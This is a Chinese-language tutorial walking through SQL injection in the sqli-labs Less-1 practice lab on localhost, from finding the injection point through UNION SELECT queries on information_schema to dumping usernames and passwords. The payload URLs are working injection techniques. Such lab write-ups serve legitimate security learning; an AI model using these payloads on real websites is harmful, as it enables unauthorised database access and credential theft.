1.首先来到less-1


2.请以数字值作为参数输入id。
- url后面输入?id=1

大家可能此时与我不同的是
your sql statement is SELECT * FROM users WHERE id='1' LIMIT 0,1
这是为了方便我们自己看到底执行的sql语句是什么显示出来的。那么你也可以添加以下,方法如下:
编辑less-1下的index.php文件
将代码echo "your sql statement is ".$sql."<br>";
插入到如下图所示位置

之后刷新页面即可。
3.寻找注入点
- 在正常的参数值后面后加一个英文字符
'
,可以看到页面出现了异常,说明此处可能存在注入。

- 接下来在后面加入
--+
,发现页面显示正常,这是因为--+
注释了后面的sql语句,即注入的'
正好闭合了sql语句中的单引号,如下:

- 然后继续注入
' and 1=1
和’ and 1=2
,进一步确认注入点,如下:
' and 1=1
页面显示正常,’ and 1=2
页面显示不正常。


至此,我们可以确认此注入点存在sql注入
4.接下来用order by 语句猜有几个字段
实际操作中采用二分法。
当插入?id=1' order by 3 --+
,页面正常显示:
url:
http://127.0.0.1/sqli-labs/Less-1/?id=1'

当插入
?id=1' order by 4 --+
,页面异常:

此时说明查询的表中有3个字段
5. 此时可以继续使用 union select联合查寻。

页面正常无变化,没关系,这是limit 限制了只显示一条结果,即前面id = 1 已经有一个结果了,那好,我们将前面设置为0,让它查不到结果看看.
url: http://127.0.0.1/sqli-labs/Less-1/?id=0%27%20union%20select%201,2,3%20--+

惊喜吧!!看到2,3了吧。
说明第2、3个字段可以显示到页面
6. 先来看看常用查询的数据库,版本号,当前登录的账号信息吧!


可以查询到数据库名security,版本5.5.53,当前登录账户:root@localhost
7. 接下来查表名
url:
http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,table_name from information_schema.tables where table_schema = "security" --+

可以看到查询到一个表,接下来使用group_concat()函数将所有表列出来
url:
http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = "security" --+

可以看到一共四个表:emails,referers,uagents,users
8.接下来查关注的users表中字段
url:
http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = "users" and table_schema = "security" --+

9. 最后就是查看表中字段内容了
url:
http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,group_concat(username),group_concat(password) from users --+

10.这样有点不美观,可以这样做:
url:
http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,concat_ws("~",username,password) from users --+

显示了一个用户名密码,不爽:
url:
http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(concat_ws("~",username,password)) from users --+

这样就完美了,nice.
最后附图一张,information_schema数据库主要表结构

说明:当数据库版本大于5以上,数据库中将有information_schema数据库,这个数据库中包含数据库里面所有数据库的表、字段以及数据库名字。
schemata 这张表存放了所有数据库的信息
tables 这张表存放了所有数据库的所有表的信息
columns 这张表存放了所有数据库的所有表中的字段信息
网友评论